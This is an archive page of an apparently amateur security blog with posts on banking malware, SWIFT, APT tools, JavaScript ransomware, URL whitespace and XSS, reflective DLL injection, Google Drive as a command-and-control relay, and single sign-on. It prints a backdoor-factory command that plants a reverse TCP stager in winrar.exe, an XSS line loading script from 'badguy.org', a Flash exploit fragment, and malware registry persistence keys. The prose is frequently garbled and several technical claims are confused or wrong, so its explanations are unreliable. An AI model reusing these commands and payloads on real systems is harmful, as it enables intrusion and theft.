Category Archives: Application Development

(Banking Environment) Advanced technology – brings of concerns for cyber security!

February 13, 2017 admin 908 Comments

Electronic payment one of the major term of in our daily life. It is hard to imagine that what’s the result once without credit card payment, online payment transfer and mobile payment in the world! The cyber attack hits financial institution more frequently and rapidly especially malware. In this discussion, we are going to investigate modern technology on electronic business bring the impact on financial institution in the long run. The mainframe computer bring a secure environment to IT world since it operate on a proprietary operation system (z-OS), well defined system architecture (trusted kernel OS). You never heard that a zero-day vulnerability encounters on MainFrame OS or application weekly. As times goes by, the over demanding business activities in the world transfer the motivation equivalent push a secure technology concepts to the cliff side.

Can we say Java technology is the instigator?

The MainFrame system designer did not have hiccups of their system design since the isolation level of memory and operating system coding not as easy as jailbreak a iPhone iOS or windows OS system. However a security weakness of the system feature might bring an unforeseen tragedy to their environment.

Java for OS/390 creates java bytecodes which are not directly executable OS/390 instructions.

However a indirect way may possible lets Logical partitions (LPARs) become vulnerable.

Why?

The combination of buffer overflow and heap spraying is the most common exploitation of pdf malware. How mainframe generate pdf format of file driven by cobol programming language. FPDF is a PHP class which allows to generate PDF files with pure PHP, that is to say without using the PDFlib library. But what is the inherit potential vulnerability of Java. The Java API for JSON Processing provides portable APIs to parse, generate and transform.The COBOL application populates the CRD and passes it to the generation subroutine (RCJSNGEN) with the CRD source in a CALL statement. RCJSNGEN then converts the COBOL data to JSON objects and returns the top level JSON object to the application. Even though cobol program module not vulnerable. But 2 items of high risk application run on top of mainframe Logical partitions (LPARs).

But reminds reader that Java for OS/390 creates java bytecodes which are not directly executable OS/390 instructions. Can we say OS/390 can avoid ring zero attack absolutely?

Ok, let take a closer look of Z-OS system architecture.

User address spaces are unique and run single applications

Multiple units of work can be active within the address space (parallel execution)
User address spaces do not communicate with each other
If one address space fails the other user address spaces continuous to run

2. System address spaces

Execute system components (elements) – DB2, CICS, SMF, DFMS. These components are call subsystems.
System components communicate with each other

3. Cloned or Duplicate address spaces running as a subsystem communicate with each other

Multiple address spaces of a subsystem and as a component act as one
If one address space fails, the components communicate with each other

Refer above 3 items, 3 types of memory address looks no direct communication with core OS since they are defined as a subsystem. But what is actual status of hardware DMA memory address resources sharing. For example, FICON to access local storage, network adapter (Ethernet and SDLC). And therefore it is hard to say that modernized mainframe environment as secure as classic mainframe system.

Electronic types of Bank Robbery

The Extensions for Financial Services (XFS) system accidentally driven of finance lost in banking industry. The XFS function is responsible for mapping the API (WFS…) functions to SPI (WFP…) functions, and calling the appropriate vendor-specific service providers. As a matter of fact, the Extensions for Financial Services (XFS) system causes financial lost looks serious than traditional bank robbery case. For instance ATM malware incident or 2016 Bangladesh Bank heist. The total of amount of financial lost are huge. From humanity point of view, feeling of optimism since such financial lost incidents did not injure human life. However it is more difficult to fight with technology crime compare with traditional crime.

Reference:

The Phantom of the payment (SWIFT) – A new system flaw found by Microsoft this week. Is there any relationship?

The APAC countries audience might voted “The Phantom of the Opera” is the famous opera, right? I familiar with the song, The Phantom of the Opera is there. Inside my mind. …..Yes, regarding to the subject matter, I digress.The payment flaw incidents happened this year looks didn’t have appropriate resolution to resolve. “To share attack intelligence … SWIFT first needs more hacked banks to come clean.” Brussels-based SWIFT announced the launch of the new team on July 11 as part of a customer security program unveiled by CEO in May. The program was a reaction to persistent security criticism leveled at SWIFT in the wake of the $81 million heist from Bangladesh Bank earlier this year. Read a lot of technical articles and analytic reports receive the understanding of the security weakness of the core system. I am not going to mention too much in this area because you can easily found the related informations on internet. But the payment flaw security incident especially incident happened in Bangladesh bank. As a matter of fact, it bring to our attention that the weakness of end user computing and IT infrastructure let this nightmare occurred. Why do we recall this system flaw again? New issued by Microsoft yesterday, a vulnerability occurs on windows OS system. Yes, we don’t surprise on zero-day weekly. However this vulnerability bring to my attention once again! How importance of end user computing was?

Microsoft found the following:

An attacker could exploit the flaw by conducting a man-in-the-middle attack on a system or print server and injecting malicious code. That’s possible because the print spooler service doesn’t properly validate print drivers when installing a printer.

The conclusion told that rootkit or malware can relies on this way jump inside windows OS system in silent mode because the print spooler service doesn’t properly validate print drivers! It sounds horrible, right?

My personal opinion is that end user computing is the major factor in nowadays IT world regardless of which types of system. I did penetration test on SWIFTNET in 2010 and couldn’t found any critical flaw on SWIFTNET. At that time mistake to believe that modern defence mechanism can fight with insider threats. Seems the stories happened can tell.

In the meantime, I strongly believed that the weakness of system (SWIFT) not the major factor causes serious cyber security incident and fraudulent payments. The initial instigator is the end user computing. Let’s keep our eye open and see whether it is true or not.

Reference articles refer below URLs:

Swift Hack Probe Expands to Up to a Dozen Banks Beyond Bangladesh

http://www.bloomberg.com/news/articles/2016-05-26/swift-hack-probe-expands-to-up-to-dozen-banks-beyond-bangladesh

SWIFT CEO warns: Expect more hacking attacks

http://timesofindia.indiatimes.com/tech/tech-news/SWIFT-CEO-warns-Expect-more-hacking-attacks-/articleshow/52583643.cms?

Every version of Windows hit by “critical” security flaw

http://www.zdnet.com/article/every-version-of-windows-hit-by-critical-security-flaw/

ATM thieves are all in jail. Can you tell me that bank ATM environments are safe now?

Application Development, Cell Phone (iPhone, Android, windows mobile), System

A wide range of views (Advanced persistent threat)

February 2, 2017 admin 855 Comments

We heard a technical terms named advanced persistent threat since 2013. An information which announced by cyber security company (kaspersky, FireEye, Symantec….etc) but not acknowledge by instigator . The story looks amazing that a security consulting firm (Mandiant) fooled by hacker. By coincidence, it found malicious finger print on gmail account and email message contained alleged resources came from China during investigation. This incident lets people in the world believe that cyber war will be happen in between country to country. A technical vocabulary so called Advanced Persistent Threat spreads around the world.

An unauthorized person gains access to a network and stays there undetected for a long period of time. Cyber security terminology so called APT attack. APT style attack confused security experts. Their mechanism contains many shadow nodes. The shadow nodes located in different areas and countries. It can take this advantage and convert as political tool. It is a sword. Careerist can blame another country that they are dishonest using internet. Who’s cast a unrighted wrong, believed that above diagram can provide an idea to you in this regard.

Reference: – Unofficial information which did not acknowledge by instigator

APT 1: cyber espionage group based in China – Discovered on Feb 2013

APT 28: Russia’s Cyber Espionage Operations – Discovered on Oct 2014

whistle blower (Snowden) – surveillance program scandal ( PRISM ) – Discover on Jan 2014

The design objective of Advanced persistent threat:

Enabled espionage using a variety of intelligence gathering techniques to access sensitive information.

Government enforcement official tools

i. Da Vinci and Galileo

Made by the Italian company Hacking Team, use to Hijack Phones for covert collection of emails, text messages, call history and address books, and they can be used to log keystrokes and obtain search history data.

Remark: An Official announcement in 2015 near year end, Da Vinci products not going to export to other countries due to data leakage incident happened on their campus.

ii. FinFisher (Neodymium & Promethium)

Specific users targeted in Europe and Turkey (last update on Dec 2016)

Neodymium uses the W32/Wingbird.A!dha backdoor to spy on users.

Promethium is a a “backdoor” program, it is a malware. He will masquerades as popular Windows tools such as WinUtils, TrueCrypt, WinRAR and SanDisk.

Remark: CVE-2016-4117 confusion code bug in Adobe Flash equivalent a instigator with Neodymium and Promethium. The Adobe Flash bug allow corrupt one of the objects to extend its length to 0xffffffff (see below source code) and its data buffer to address 0. The attacker are allow to access all of the user space memory once ByteArray corrupted. And such a way attacker execute embedded shellcode. If the Flash Player version is older than 21.0.0.196, the attack can’t execute.

public static function flash20(ba:Dtaa3, var4:uint, var5:uint)
{
   var len:uint;
   var flash50:uint;
   try
   {
       flash38 = true;
       flash21 = ba;
       len = ba.length;
       flash50 = (ba.a1 ^ ba.a5);
       ba.a2 = 0xFFFFFFFF;
       ba.a6 = (0XFFFFFFFF ^ flash50);
       ba.endian = Endian.LITTLE_ENDIAN;
       flash39 = var5;
       len = ba.length;
       if (len !=0xFFFFFFFF)
       {
           flash3("");
       };
       if (flash72)
       {
           Play3.flash20(); // Win32.Exec()
        }
       else
       {
           flash1("");
        };
        flash34(var5, var4);
        }

Advanced Persistent Threat – Drawback of remote monitoring

Traditional Lawful Interception solutions face new challenges which highlight by Finfisher (see below)

Data not transmitted over any network
Encrypted Communications
Targets in foreign countries

Finfisher resolution:

FinSpy was installed on several computer systems inside internet Cafes in critical areas in order to monitor them for suspicious activity, especially Skype communications to foreign individuals. Using the Webcam, pictures of the targets were taken while they were using the system

Traditional tactical or strategic Interception solutions face challenges which point out by Finfisher (see below):

Data not transmitted over any network and kept on the device
Encrypted Communications in the Air-Interface, which
avoid the usage of tactical active or passive Off-Air Systems
End-to-end encryption from the device such as Messengers,
Emails or PIN messages

Finfisher resolution:

FinSpy Mobile was deployed on BlackBerry mobile phones of several Targets to monitor all communications, including SMS/MMS, Email and BlackBerry Messenger.

The official spy tools looks powerful, however there is another sniff technique which available in the IT world.

Implant backdoor example:

Not going to teach how to hack the system but it is a better understanding …………..

This session not going to get in touch with FinFisher backdoor. However few available solution in the market guide you implant a backdoor to Winrar.exe. One of the example display as below:

sudo backdoor-factory -f /home/assault/Downloads/winrar.exe -s iat_reverse_tcp_stager_threaded -H 192.168.50.15 -P 8080

Government enforcement agency looks not difficult to expand the APT area of coverage. A lot of time they are relies on phishing.

Concept wise equivalent to government enforcement tool

The objective of the APT intend to collect sensitive data or voice messages during surveillance program process. And therefore the compatibility of the malware become an important factor. We are not a government agency but we can run a test with similar concept of design.

Phishing with Empire – Empire software supports macOS, Linux, and Windows hosts from one listener. The only requirement is that you need find a Command and Control (C2) work with you.

Summary:

The key words advanced persistence threat sound scary however it is only a surveillance program. As a normal citizen I do not believe foreign country have interest on my telephone conversation. From data privacy, it looks that it contained grey area since we do not know the reason why we are under surveillance. Such action let people nervous. However my expectation on these technology is that it must expand to some area in the city which take care the monitor and control of criminal activities. What do you think?

Application Development

Infamous ransomware – another new generation was driven by JavaScript!

January 24, 2017 admin 1,487 Comments

Have you heard the name evil? Seems this naming convention is apply to ransomware now. A simple hierarchic design of ransomware which work with Java script was born in 2017. The evil ransomware was written in 100% JavaScript. There is no visible panel used for decryption.

The designer of Evil (ransomware) looks familiar with forensic investigation. His design first approach to execute the task is going to delete all the executable file from the following folder.

It delete all executable files from the (folder% TEMP% and% APPDATA% \ Microsoft \ Windows \ Start Menu \ Programs \ Startup) once (evil) javascript (file0locked.js) execute by wscript.exe.
Execute command dir / b / s / x generate the file inventory list then save in encrypted format with naming convention 443.exe. Evil make use of ready make solution. Yes, it is a JavaScrypt (Browser-Based Cryptography Tools). JavaScrypt’s encryption facilities use the Advanced Encryption Standard (AES) adopted by the United States as Federal Information Processing Standard 197. JavaScrypt uses 256 bit keys exclusively.
Key generation and encryption (Remark: below details is intended to provide concept for education only.

Encrypted extension:

*.doc *.xls *.pub *.odt *.ods *.odp *.odm *.odc *.odb*.wps *.xlk *.ppt *.mdb *.accdb *.pst *.dwg *.dxf *.dxg *.wpd *.rtf *.wb2 *.mdf *.dbf *.psd *.pdd *.eps *.ai *.indd *.cdr img_*.jpg *.dng *.3fr *.arw *.srf *.sr2 *.bay *.crw *.cr2 *.dcr *.kdc *.erf *.mef *.mrw *.nef *.nrw *.orf *.raf *.raw *.rwl *.rw2 *.r3d *.ptx *.pef *.srw *.x3f *.der *.cer *.crt *.pem *.pfx *.p12 *.p7b *.p7c

Hash sample: 1817853fdaf2d35988ca22a6db2c939e0f56664576593d325cfd67d24e8fb75c

Current status: 24th Jan 2017

No worries, most popular of antivirus programs are able to detect Devil ransomeware.

For example: Kaspersky,F-Secure,Symantec,TrendMicro. How about Mcafee. It looks that their signature do not have coverage.

Application Development

To be RFC 3986 or not to be RFC 3986

January 19, 2017 admin 793 Comments

Heard that new discovered phishing technique can fool tech-savvy people. The bad guy conducted a technique so called white space in URL in cyber space. The objective is mislead the computer users includes savvy technical persons. But we are not going to focus how was hackers use phishing email compromise victim workstation in this article. But base on their hack technique raised of my reflections to address the white space fundamental issues. As we know, the white space in url alerted by RFC 1738 many years ago. The RFC 1738 has been replaced by RFC 3986. The concept were told that there is technical limitation of space character. On RFC 1738 article, it highlight that the space character is unsafe because significant spaces may disappear and insignificant spaces may be introduced when URLs are transcribed or typeset or subjected to the treatment of word-processing programs. Be my guest, let take a closer looks of this story.

Normally format HTML will have spaces in between them.

HTML

<nav>
  <a href="#">Peter</a>
  <a href="#">Paul</a>
  <a href="#">Mary</a>
</nav>

CSS

nav a {
  display: inline-block;
  padding: 5px;
  background: Red;
}

Output

What if the URI allowed to contain one or more space characters, is there any hesitation in this area? Do you think the hacker can utilize this invisible place to to do their bad things?

A space position in the character set is 20 hexadecimal. The space character is unsafe because significant spaces may disappear and insignificant spaces may be introduced when URLs are transcribed or typeset or subjected to the treatment of word-processing programs.
A space has to be replaced with a %20 instead. This makes the filename part of the URL less readable and, thus, makes people avoid it in the first place.

Example: whitespace hack

//Start HTML
<html>
<body>
<img/*comment*/src="javascript:alert('img tag')">
</body>
</html>
//End HTML

Result: Some script tags are allowed but <img src=”something”> is not. By replacing the whitespace with a comment, your code is accepted.

It looks that a reverse engineering can change a simple character to become a silent killer. Whitespace just means characters which are used for spacing, and have an “empty” representation. But whitespace jump into python world it will become a cyber weapon.The python community usually follows PEP8 style, which prescribes indentation of four spaces.Whitespace is significant in Python source code. From technical point of view, there are more room space let you guys develop more, right?

As said, whitespace can become a silent killer. However all depends on handler how to use it. He will become a accomplice. This week headline news report that Gmail Phishing Scam Stealing Credentials Through Infected Attachment. Heard that it involved whitespace in url. A space has to be replaced with a %20 instead. This makes the filename part of the URL less readable and, thus, makes people avoid it in the first place. I thought it also involves cross-site scripting technique. Below example quoted that one source is inserting code into pages sent by another source. Sound like OWASP Top 5 items, a cross-site scripting scenario.

<A HREF="http://Goodguy.org/search.cgi?criteria=<SCRIPT SRC='http://badguy.org/infection.js'></SCRIPT>"> Go to Goodguy.org</A>

Application Development, System

Descendant of VSAM File Organization,that is blockchain technology today

December 20, 2016 admin 922 Comments

Old school boy might remember fundamental of Virtual storage access method (VSAM). I object, banking and financial institution are close with VSAM technologies day to day. Yes, they are using mainframe computer. For instance IBM S390. People discontentment of proprietary payment solution (SWIFT) sounds high! Hackers targeted payment system via the SWIFT, no significant figures show the security weakness of traditional payment system (SWIFT). Do you think the exploit come from fundamental design or it is the operation weakness? The block chain technology (bitcoins) carry out challenge to traditional payment method. For sure that it is a long run of competition. It includes intangible factors. Example: political, conflict of interest on business side, renovation of traditional payment culture,…etc.

Descendant of VSAM File structure,that is blockchain conceptual technology today

Blockchain technology – who is who?

Blockchain technology confusing me! What is bitcoin blockchain? Or it is Ethereum technology? But heard that there is another digital currencies or digital token. Oh! my god, still have smart contracts! Find the answer conclude that it is list of transactions that is replicated across a number of computers.

i. Blockchain keep track of a currency’s balances.Since it is a decentralized networks, blockchain does not have a central point of failure and is better able to avoid malicious attacks.

ii. Ethereum is an public blockchain-based distributed application platform featuring smart contract functionality.

iii. A smart contract is a digitally signed, computable agreement between two or more parties. A virtual third party work as software agent to execute and enforce at least some of the terms of such agreements.

iv. Digital tokens being used to represent different assets on a blockchain.

The overall opinion of people feel that BlockChain technologies are advanced compare with traditional payment method. See below diagram, the layering architecture of blockchain not special. If you take a closer look and focus in blockchain and share data storage layer. You will feel that blockchain design concept like IBM Mainframe VSAM file organization structure.

From design point of view, VSAM structure consists of tables, columns, primary keys, indexes, stored procedures, and views (refer to below left hand side diagram). When a direct READ is performed for a VSAM indexed file, based on an alternate index for which duplicates exist, only the first record in the data set (base cluster) with that alternate key value is retrieved. You need a series of READ NEXT statements to retrieve each of the data set records with the same alternate key.

How about block chain design structure? The terminology so called terms includes Transactor, Transaction, Ledger,World stat, Chaincode, Validating peer, Non-validating peer, Consensus and Permissioned network (refer to below right hand side diagram).

Descendant of VSAM File Organization,that is blockchain technology today.

Blockchain Key terms (copy from IBM Bluemix Docs)

The following terms are instrumental in gaining a holistic understanding of blockchain concepts:

Transactor: A network participant connected to the blockchain network through a node, who submits transactions from a client using an SDK or API.

Transaction: A request by a transactor to execute a function on the blockchain network. The transaction types are deploy, invoke, and query, which are implemented through the chaincode functions set forth in the fabric’s API contract.

Ledger: A sequence of cryptographically-linked blocks, containing transactions and the current world state. In addition to data from previous transactions, the ledger also contains the data for currently-running chaincode applications.

World state: Key-value database used by chaincodes to store their state when executed by a transaction.

Chaincode: Embedded logic that encodes the rules for specific types of network transactions. Developers write chaincode applications and deploy them to the network. End users then invoke chaincode through a client-side application that interfaces with a network peer, or node. Chaincode runs network transactions, which if validated, are appended to the shared ledger and modify world state.

Validating peer: A network node that runs the consensus protocol for the network to validate transactions and maintain the ledger. Validated transactions are appended to the ledger, in blocks. If a transaction fails consensus, it is purged from the block and therefore, not written to the ledger. A validating peer (VP) has authority to deploy, invoke and query chaincode.

Non-validating peer: A network node that functions as a proxy, connecting transactors to validating peers. A non-validating peer (NVP) forwards invocation requests to its connected validating peer (VP). It also hosts the event stream server and the REST service.

Consensus: A protocol that maintains the order of blockchain network transactions (deploy and invoke). Validating nodes work collectively to approve transactions by implementing the consensus protocol. Consensus ensures that a quorum of nodes agree on the order of transactions on the shared ledger. By resolving any discrepancies in this order, consensus ensures that all nodes operate on an identical blockchain ledger. See the consensus topic for more information and test cases.

Permissioned network: A blockchain network where each node is required to maintain a member identity on the network, and each node has access to only the transactions that its permissions allow.

For readers who are interested of block chain technology. Please refer below url for reference.

About blockchain (IBM Bluemix Docs)

https://console.ng.bluemix.net/docs/services/blockchain/ibmblockchain_overview.html

Merry Christmas!

Application Development, System

Do you think 64 bit OS can secure critical facilities in your country?

December 6, 2016 admin 866 Comments

Few years ago, heard that 64 bit version of windows is more secure. Expert was told, 64-bit operating systems aren’t immune to malware but security features are stronger.

Address Space Layout Randomization – incorrect guess may result in the program crashing

Mandatory Driver Signing – prevents unsigned drivers provided by malware from running on the system

Kernel Patch Protection – prevents device drivers from patching the kernel

Data Execution Protection – DEP allows an operating system to mark certain areas of memory as “non-executable

It looks that above 4 items of feature capable to protect the OS system infected by malware. Recall cyber incident history, 1st version of the Stuxnet computer virus that was used to attack Iran’s nuclear program in November 2007, being developed as early as 2005, when Iran was still setting up its uranium enrichment facility. SCADA system compatible with windows 32 bit and 64 bit OS. SCADA manufacturer strongly recommend to use 64 Bit operating systems. The 32 Bit operating systems may be used for compatibility reasons within already existing configurations. Seems we can figure out hints of malware weakness. And speculate that Stuxnet virus infect the SCADA system are run on top of windows 32 bit operating system (OS) instead of 64 bits.

Descendant Of The Malware – embedded new DLL injection technique (reflective DLL injection)

A more sophisticated of DLL injection method, so called reflective DLL injection. It loads code without calling the normal Windows API calls, potentially bypassing DLL load monitoring. Conceptual diagram shown as below:

Above reflective loader function will find the following target:

Process Environment Block (PEB) of the target process
suitable CPU register
the address in memory of kernel32.dll
and other required libraries

Next step: Find the memory addresses of required API functions such as LoadLibraryA, GetProcAddress, and VirtualAlloc. Relies on these API functions to load the DLL (malware) into memory and call its DllMain entry point.

Remark: What is DllMain Entry point – An optional entry point into a dynamic-link library (DLL). When the system starts or terminates a process or thread, it calls the entry-point function for each loaded DLL using the first thread of the process. The system also calls the entry-point function for a DLL when it is loaded or unloaded using the LoadLibrary and FreeLibrary functions.

In the DllMain function, you can perform only a very limited set of actions. The thing is that some DLL may be not loaded yet, and you cannot call functions from them.

Does it mean that the 64-bit operating systems not easy to implant malware?

All applications except malware would use the standard main memory. The copy (shadow memory) is designed to be used by malware. Shell code might have difficulties to pass though parameters on shadow memory space. The fact is that there are differences between x86 and x64 operating system. The 64-bit addressing capability and a flat set of 16 64-bit registers for general use. If that “shadow space” on the stack was not allocated by the caller, the function may not work as expected.

Remark: In 64 bit OS environment, the allocates pages in the shadow region on demand. That is only when page contains tag information. As every byte of tracked program data need four more bytes for its tag, part of the physical memory footprint of a process increase by a factor of four.

Speculation:

Believe that nuclear power facility still have 32 bit SCADA application in operation. But no harm to keep, the fact is that even though you upgrade to 64 bit OS. It is hard to guarantee you can avoid malware silently implant to your environment.

Below url is the malware attack nuclear power facilities historical information for your reference.

https://www.google.com.hk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwj72tfKnN_QAhVIGpQKHTdgBywQFggaMAA&url=http%3A%2F%2Fwww.antihackingonline.com%2Fnetwork-protocol-topology-standard%2Fmalware-vs-nuclear-power-do-you-think-scada-system-is-the-culprit-of-attack-on-nuclear-power-system%2F&usg=AFQjCNGDNhe7wFJgFQSDK7V3QDnWqiB99A

Application Development

Next Generation C&C – Google docs

November 25, 2016 admin 790 Comments

Malware C&C server looks exposed to security vendor for a period of time. Hacker have difficulties to implant malware to workstations once malware detector install (layer 3) network backbone routing area. Sure that Hacker won’t be announced defeat then such a way disappear forever.

A smart way utilize cloud resources

We understand that cloud computing uses HTTPS by default and the data transmission over SSL. What if hacker re-engineer their malware system structure. Utilizes the cloud farm belongs to victim, storing the command-and-control (C&C) function and malicious code inside the cloud. As we know, traditional defense mechanism lack of visibility into SSL crypto setup. But It becomes a huge benefit to hacker. How worst situation you can imagine on this scenario.

How Google Docs in Google Drive re-engineer as bad guy gatekeeper.

May be you will say, it is a outdated news. The similar of cyber attack happened on 2012. But hacker never give up! They improve this technique in silent. The hacker use Google Drive as a relay. The concept is going to utilize Drive Proxy. Drive Proxy is a Windows Service that streamlines communication with Google Drive. It uses a simple protocol to communicate with client applications over a pipe. Similar idea of hack concept announced by Black Hill information security on Aug this year. They provide proof of concept to show this method is feasible.

Below infographic can provide similar idea to you in this regard.

For more detail of Google Drive proxy, you need setup a Google API project in the Google Developers Console. For more details, please see below:

Go to: https://console.developers.google.com/project
Click on “Create Project”
Name your project and click on “Create”
Wait for the project to be created.
From the left hand side menu, click on “APIs & auth”.
From the left hand side menu, Click on “APIs”
You will need to enable the “Drive API” by toggling the switch to “on”
From the left hand side menu, Click on “Credentials”
Click on “Create new Client ID”
Select “Installed application” and click on “Configure consent screen”
Fill in the details for your consent screen and click on “Save”.
A new form will be presented. Select “Installed application” and “Other” then click on “Create Client ID”
You will be presented with a Client ID and Client Secret.
Switch to the root of the git repository and using a text editor, open ProjectConfig.txt
You will see a line “ClientID <Your application google id here>”. Replace “<Your application google id here>” by the Client ID in the developer console.
Example: “944352700820-eh520uo159llp750lf9jmn6srcm35r3j.apps. googleusercontent.com”.
You will see a line “ClientSecret <Your application google secret here>”. Replace “<Your application google secret here>” by the Client Secret in the developer console.
Example: “BfI0jTaVzBAuRo9odDmheM2Z”
You will see a line “UpgradeCode <A GUID to identify your project here>”. Generate a GUID and replace “<A GUID to identify your project here>” with the generated GUID.
Example: cb1ed02a-7233-4a67-a9f7-ad10a42a2082
You will see a line “Company <Your Company name here>”. Replace “<Your Company name here>” with the company name you wish to appear in the “Add/Remove programs” window’s company column for Drive Proxy’s entry.
Example: “Initech, Inc.”
You will see a line “CompanyPath <Your Company here, must be a valid Windows folder name>”. The installer will install to “%programfiles%\ CompanyPath\Drive Proxy Service”. Replace “<Your Company here, must be a valid Windows folder name>” with the folder name under which you wish to group your programs.
Example: “Initech”
You can then open DriveProxy.sln and compile the Installer project.

Happy Thanksgiving Day

Application Development, Cell Phone (iPhone, Android, windows mobile)

Android mobile phone user alert! AdUps software,he is a voyeur!

November 16, 2016 admin 809 Comments

Technical writer (Miss Swati Khandelwal) write a technical article alerts Android users around the world they are under cyber attack. What’s going on? It seems that a suspicious software bundle with mobile phone (ZTE and Huawei) together export to US market. The goal is going to collect the mobile phone data. The data includes SMS texts, Send call logs, end user personally identifiable information, geolocation information to their server. Oh Jesus, US Government with high visibility statement let’s the citizens know they are under surveillance. A open method of NSA is use a tool so called “XKEYSCORE” for real time monitoring (internet activities). Who’s is the party jump over the queue of NSA to do cellphone tracking and Intercept action? A security firm found that the data collection server is located in China.In the mean time it is unclear whether the data is being collected for advertising or other purpose?

Can we uninstall the software?

Yes, it is possible to remove those applications. There are two preload packages of malicious system application (com.adups.fota.sysoper and com.adups.fota) on Android phone. Android’s package manager has commands to get rid of this stuff. For this, let’s become root.

pm disable com.adups.fota.sysoper
pm uninstall com.adups.fota.sysoper
pm disable com.adups.fota
pm uninstall com.adups.fota

The pre-installed apps are located in the following area:

/system/app/
/system/priv-app/

But we are not the Android programmer or security Expert. Seems it is not easy to execute above job on your mobile phone. Do you think what time does the manufacturer release the patch ?

CVE-2016-7255 – Google Chrome is the Instigator

November 10, 2016 admin 898 Comments

IT world encounters Storm in a tea cup from weekly. Heard that Microsoft blame Google mistaken on their web browser (chrome) design mistake causes vulnerability occurs (CVE-2016-7255). On hand information described that hacker would like to find back door in web browser (Google chrome), they found a privileges escalation at the end. It looks that similar vulnerability caused by web browser will be happened in future. The vulnerable service daemon is the win32K.sys this round!

What is win32K.sys – It is a multi user win 32 driver file.

It looks that win32K.sys has design limitation, a page_fault_in_nonpaged_area discovered in 2009. But what is page fault in non page area? The symptom is that application asked for a page of memory in order to continue, and the page was not available then crash.

Suspected that why google chrome is the instigator

When Chrome attempts to access critical data from memory that was supposed to be stored in the Non-Paged area, but cannot find it. Because this area of memory is reserved for the Windows core.

Below windows OS register keys relate to CVE-2016-7255

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe “Debugger” = ‘svchost.exe’

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe “Debugger” = ‘svchost.exe’

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Exp.CVE-2016-7255

    HKEY_LOCAL_MACHINE\SOFTWARE\

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings “WarnOnHTTPSToHTTPRedirect” = ’0′

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings “WarnOnHTTPSToHTTPRedirect” = ’0′

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore “DisableSR ” = ’1′

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe “Debugger” = ‘svchost.exe’

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe “Debugger” = ‘svchost.exe’

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run “3948550101?

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run “xas
    
    HKEY_CURRENT_USER\Software\Exp.CVE-2016-7255

Comment:

CVE-2016-7255 hit design limitation and causes local privilege escalation. Patch is available. But my comments this time is wait for next round of announcement by Microsoft. What’s the reason? …….!!!!!

Application Development, Cell Phone (iPhone, Android, windows mobile), Network (Protocol, Topology & Standard), System

Is Single Sign on a Security Risk?

November 8, 2016 admin 858 Comments

Is Single Sign on a Security Risk?

The majority of computer operators and people alike maintained one user ID and password. The single sign on facility fulfill their operation requirements. From security point of view, there are inherent risks for company deploys single sign-on function on their network infrastructure.

Single sign on infrastructure

Let take a closer look of single-sign on

Benefits:

No need to remember many user IDs and passwords
Simplified operation procedure
Improves the effectiveness/timeliness of disabling all network/computer accounts for terminated users.
Reduces the time taken by users to log into multiple applications and platforms

Single-sign on drawback

Same password on all your various web services, it is also dangerous to let one username/password combination unlock all the resources.
Single high-value target (attracts more attackers)
Side channel attack against authentication step
never know how secure your system is or if there is a breach

Single sign on increase the difficulties of application protection

SSO by itself doesn’t really improve security and, in fact, if not deployed properly can degrade security. There are more techniques to attacks single sign-on application today. For more details, please see below:

Single Sign-On phishing
SSO profile was vulnerable to a Man-in-the-middle attack
Replay Attacks
XML Signature Wrapping vulnerability in SAML protocol

Security Concerns:

GIAC as a pioneer point out single sign on security concerns on their global information assurance certification paper. The article bring an idea to the world that each operating system and application has it own set of security requirement for both user user ID and password. In the sense that SSO by itself doesn’t really improve security and, in fact, if not deployed properly can degrade security. Since enterprise firm need compliance, fulfill audit requirements. Please be noted that compliance may not equal security. Let’s think it over, one single password that could access all key applications. Does it on a security risk?